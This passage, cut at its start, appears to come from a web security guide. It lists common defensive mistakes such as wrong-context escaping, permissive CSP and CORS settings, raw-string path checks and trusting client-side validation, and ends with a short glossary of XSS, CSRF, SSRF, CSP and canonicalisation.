<script>") instead of encoding. - Escaping for the wrong context (HTML-escaping inside a JavaScript string or URL).
- CSP with
'unsafe-inline'; CORS reflecting any Origin with credentials. - Checking
..in the raw string instead of the resolved path. - nginx
add_headerin a location silently dropping inherited headers. - Trusting client-side validation.
Glossary
- XSS: script injected into a page another user views.
- CSRF: a forged cross-site request riding the victim's cookies.
- SSRF: making the server fetch a URL of the attacker's choice.
- CSP: browser policy restricting where scripts and other resources load from.
- Canonicalisation: reducing a path or input to its single standard form before checking it.